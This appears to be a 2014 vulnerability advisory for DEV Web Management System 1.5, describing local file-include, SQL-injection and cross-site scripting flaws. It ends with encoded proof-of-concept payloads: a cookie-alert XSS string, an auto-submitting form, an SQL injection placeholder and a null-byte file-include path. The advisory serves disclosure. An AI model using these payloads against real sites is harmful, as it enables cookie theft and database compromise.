DEV Web Management System 1.5 Multiple Input Validation Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

DEV Web Management System 1.5 Input-Validation Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/30447/info

DEV Web Management System is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include local file-include, SQL-injection, and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to view sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DEV Web Management System 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/?session=&#34;&#62;&#62;&#60;&#62;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62; &#60;html&#62; &#60;head&#62;&#60;/head&#62; &#60;body onLoad=javascript:document.form.submit()&#62; &#60;form action=&#34;http://www.example.com/index.php?session=0&action=search&#34; method=&#34;POST&#34; name=&#34;form&#34;&#62; &#60;form method=&#34;post&#34; onSubmit=&#34;return validateprm(this)&#34;&#62;&#60;input type=&#34;hidden&#34; name=&#34;prip&#34; value=&#34;true&#34;/&#62;&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;search&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;kluc&#34; value=&#34;&#34&#39&#39&#39&#60&#62&#62&#62&#62&#60;script&#62;alert(&#39;xss&#39;)&#60;/script&#62;&#34;&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; http://www.example.com/index.php?session=0&action=read&click=open&article=[SQL CODE] http://www.example.com/admin/index.php?start=install&step=file.type%00

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1